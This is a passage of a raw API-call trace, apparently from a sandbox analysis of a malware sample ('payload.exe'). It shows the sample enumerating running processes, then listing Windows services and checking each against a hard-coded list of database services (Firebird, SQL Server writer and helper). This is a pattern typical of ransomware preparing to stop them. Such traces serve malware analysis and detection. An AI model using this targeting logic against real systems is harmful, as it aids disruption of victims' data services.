th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0042.503] lstrlenW (lpString="arcobviously.exe") returned 16 [0042.503] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0042.504] lstrlenW (lpString="preston disciplines.exe") returned 23 [0042.504] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0042.505] lstrlenW (lpString="boss.exe") returned 8 [0042.505] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0042.505] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0042.505] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0042.525] lstrlenW (lpString="placing.exe") returned 11 [0042.525] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0042.525] lstrlenW (lpString="heroes.exe") returned 10 [0042.525] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0042.526] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0042.526] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0042.527] lstrlenW (lpString="requirement moments.exe") returned 23 [0042.527] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0042.527] lstrlenW (lpString="sugar.exe") returned 9 [0042.527] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0042.528] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0042.528] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0042.529] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0042.529] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0042.530] lstrlenW (lpString="genealogy.exe") returned 13 [0042.530] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0042.531] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0042.531] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0042.531] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0042.531] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0042.532] lstrlenW (lpString="expenditure.exe") returned 15 [0042.532] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0042.533] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0042.533] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0042.534] lstrlenW (lpString="upgrading.exe") returned 13 [0042.534] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0042.535] lstrlenW (lpString="conservative.exe") returned 16 [0042.535] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0042.535] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0042.536] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0042.536] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0042.536] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0042.537] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0042.537] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0042.538] lstrlenW (lpString="gods violations duke.exe") returned 24 [0042.538] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0042.539] lstrlenW (lpString="dllhost.exe") returned 11 [0042.539] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.540] lstrlenW (lpString="conhost.exe") returned 11 [0042.540] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.540] lstrlenW (lpString="conhost.exe") returned 11 [0042.540] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0042.541] lstrlenW (lpString="payload.exe") returned 11 [0042.541] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.542] lstrlenW (lpString="cmd.exe") returned 7 [0042.542] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.543] lstrlenW (lpString="conhost.exe") returned 11 [0042.543] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0042.543] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0042.543] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.544] lstrlenW (lpString="conhost.exe") returned 11 [0042.544] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0042.545] CloseHandle (hObject=0x364) returned 1 [0042.545] Sleep (dwMilliseconds=0x1f4) [0043.197] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cee08 [0043.197] EnumServicesStatusExW (in: hSCManager=0x6cee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0043.198] GetLastError () returned 0xea [0043.198] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1bb8) returned 0x781e10 [0043.198] EnumServicesStatusExW (in: hSCManager=0x6cee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x781e10, cbBufSize=0x1bb8, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x781e10, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0043.199] CloseServiceHandle (hSCObject=0x6cee08) returned 1 [0043.199] lstrlenW (lpString="Appinfo") returned 7 [0043.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.199] lstrlenW (lpString="AppXSvc") returned 7 [0043.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0043.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0043.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0043.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0043.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0043.199] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.200] lstrlenW (lpString="Audiosrv") returned 8 [0043.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0043.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0043.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0043.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0043.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0043.200] lstrlenW (lpString="BFE") returned 3 [0043.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.200] lstrlenW (lpString="BITS") returned 4 [0043.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0043.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0043.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0043.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0043.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0043.200] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0043.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0043.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0043.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0043.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0043.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0043.200] lstrlenW (lpString="CDPSvc") returned 6 [0043.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0043.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0043.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0043.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0043.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0043.201] lstrlenW (lpString="ClickToRunSvc") returned 13 [0043.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0043.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0043.201] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0043.201] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0043.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0043.201] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0043.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0043.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0043.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0043.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0043.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0043.201] lstrlenW (lpString="CryptSvc") returned 8 [0043.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.201] lstrlenW (lpString="DcomLaunch") returned 10 [0043.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.201] lstrlenW (lpString="DeviceAssociationService") returned 24 [0043.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0043.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0043.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0043.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0043.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0043.202] lstrlenW (lpString="Dhcp") returned 4 [0043.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.202] lstrlenW (lpString="Dnscache") returned 8 [0043.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.202] lstrlenW (lpString="DPS") returned 3 [0043.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0043.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.202] lstrlenW (lpString="DusmSvc") returned 7 [0043.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0043.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0043.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0043.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0043.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0043.202] lstrlenW (lpString="EventLog") returned 8 [0043.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0043.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0043.202] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0043.202] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0043.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0043.202] lstrlenW (lpString="EventSystem") returned 11 [0043.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.203] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.203] lstrlenW (lpString="FontCache") returned 9 [0043.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0043.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0043.203] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0043.203] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0043.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0043.203] lstrlenW (lpString="gpsvc") returned 5 [0043.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.203] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.203] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.203] lstrlenW (lpString="iphlpsvc") returned 8 [0043.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.203] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.203] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.203] lstrlenW (lpString="KeyIso") returned 6 [0043.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0043.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0043.203] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0043.203] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0043.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0043.203] lstrlenW (lpString="LanmanServer") returned 12 [0043.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.204] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.204] lstrlenW (lpString="lfsvc") returned 5 [0043.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0043.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0043.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0043.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0043.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0043.204] lstrlenW (lpString="lmhosts") returned 7 [0043.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.204] lstrlenW (lpString="LSM") returned 3 [0043.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0043.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0043.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0043.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0043.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0043.204] lstrlenW (lpString="MpsSvc") returned 6 [0043.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.204] lstrlenW (lpString="NcbService") returned 10 [0043.204] lstrcmpiW 